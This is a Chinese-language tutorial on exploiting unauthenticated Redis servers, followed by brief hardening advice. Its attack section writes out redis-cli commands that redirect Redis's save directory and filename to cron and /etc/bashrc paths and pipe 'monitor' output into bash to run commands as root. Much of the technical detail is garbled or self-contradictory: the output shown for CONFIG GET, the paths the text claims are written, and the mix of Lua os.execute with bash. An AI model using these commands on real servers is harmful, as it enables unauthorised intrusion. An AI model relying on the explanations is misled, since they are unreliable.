概述
Redis是一种开源的内存数据结构存储系统,同时也提供了外部存储功能。Redis最初是由Salvatore Sanfilippo在2009年开发,现在已经成为了很多应用程序的核心组件。尽管Redis已经非常成熟,但是由于存在一些漏洞使其容易受到攻击。本篇文章将从一个Redis漏洞利用的示例来看看如何利用Redis的漏洞。
Redis漏洞介绍
Redis默认使用不安全的配置
默认情况下,Redis是使用未加密的明文传输数据的(默认端口为6379)。如果攻击者能够访问Redis所在的网络,则可以十分方便地进行中间人攻击。此外,Redis还允许未经身份验证的访问,并默认开启AOF(Append-Only-File)方式记录数据,因此在现实应用中,Redis的安全性具有重要意义。
Redis命令注入漏洞
Redis的另一个安全漏洞是命令注入,这种漏洞使得攻击者可以在不被授权的情况下执行任何Redis命令。通过这种方式,攻击者可以窃取私密数据、篡改数据、破坏数据等,从而给目标系统带来严重的损失。
Redis漏洞利用示例
下面将通过一个示例来介绍如何利用Redis漏洞。
示例场景
假设一个网站使用Redis作为缓存服务器,并且暴露了Redis默认端口,没有开启认证功能。攻击者利用这种配置差,通过外部链接向Redis发送任何命令,并获得了完全的访问权限,从而对该网站的数据进行操作。
攻击过程
首先,攻击者连接到Redis服务器:
redis-cli -h targetip
其中,targetip为目标Redis服务器地址。连接成功后,攻击者可以通过发送一系列的Redis命令来进行攻击。例如,攻击者可以使用CONFIG命令来获取Redis的配置信息:
127.0.0.1:6379> CONFIG GET *
代码中的'*'代表获取所有配置信息,正常情况下的返回结果应该只包含以下条目:
1. redis_version:4.0.9
2. redis_git_sha1:00000000
3. redis_git_dirty:0
4. redis_build_id:9ddb68a391cb0abc
5. redis_mode:standalone
6. os:Linux 4.9.0-6-amd64 x86_64
7. arch_bits:64
8. multiplexing_api:epoll
9. atomicvar_api:atomic-builtin
10. gcc_version:6.3.0
11. process_id:1020
12. run_id:b47436a4dcbc54ed6888cec83ddf8d3c267bf584
13. tcp_port:6379
14. uptime_in_seconds:55306
15. uptime_in_days:0
16. hz:10
17. lru_clock:1569312
18. executable:/usr/bin/redis-server
19. config_file:/etc/redis/redis.con
然而,攻击者可以通过某些手段,让Redis服务器返回更为敏感的信息,例如,攻击者可以获取Redis的配置文件内容,来了解目标服务器的详细信息:
127.0.0.1:6379> CONFIG GET dir
正常情况下,应该返回该Redis实例所使用的数据目录(如:/var/lib/redis)。但是,如果攻击者将GET命令替换为了CONFIG SET,就可以深入地攻击Redis:
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/tab
OK
127.0.0.1:6379> CONFIG SET dbfilename root
OK
这条命令将Redis的数据目录设置成了/etc/cron.d/redis,并修改了数据文件名为root。这将导致Redis将数据保存到系统中的一个随机文件中,同时也产生了一个新的漏洞利用方式。攻击者可以在修改目标Redis配置文件的情况下,将系统中的任意命令加载到Redis内存中,并使用其执行,此种方式可执行任意操作。
例如,攻击者可以使用APT来安装新的软件包(假设Redis运行的用户具有root权限):
redis-cli -h <Redis host> config set dir /etc/&& config set dbfilename bashrc && echo 'os.execute("/usr/bin/apt-get install openssh-server")' | redis-cli -x set crackit
这条命令将Redis的数据目录设置为/etc/(这会导致Redis将数据保存到/etc目录下),并将数据文件名设置为bashrc(这会导致Redis将数据保存到~/.bashrc中)。接着,攻击者将echo命令的输出作为数据存储到Redis中的一个名为crackit的键值中。这个值将作为操作系统命令来执行。最后,攻击者使用bash来启动Redis
redis-cli -h <Redis host> --raw monitor | bash
该命令将监视Redis实例,并且将Redis中收到的每个命令作为stdin写入bash中。因此,当攻击者把包含有APT命令的数据存储到Redis中的时候,这个命令将被执行并安装openssh-server软件包。
防范措施
由于Redis的漏洞与默认配置相关,因此,防范这些漏洞的最好方法就是启用Redis的基本安全功能。以下是一些Redis的安全配置规范:
使用对外加密连接
通过使用SSL/TLS来加密Redis的对外访问将是最好的防范措施。它可以确保数据在传输过程中不被窃取或更改。然而,需要注意的是,在这种情况下,实际上应该有一个可信的证书颁发机构颁发一个证书,而不是使用自签名证书。
配置访问控制
其他安全设置包括使用配置访问控制列表(ACL)来加强对Redis的访问控制,设置具体的访问控制规则,以避免未经认证的用户访问和执行Redis数据。此外,还需另行配置密码、IP地址等信息以加强对Redis的安全控制。
关闭不必要的Redis服务
强烈建议关闭默认关闭不必要的Redis服务。
总结
通过以上教程,您应该了解到了Redis的一些基本安全漏洞和如何利用Redis漏洞。同时,您还应该清楚的知道如何采取措施来预防这些漏洞。需要注意的是,随着技术的不断发展,漏洞的类型和破坏形式也在不断改变,因此,加强系统的安全性是一项长久的工作。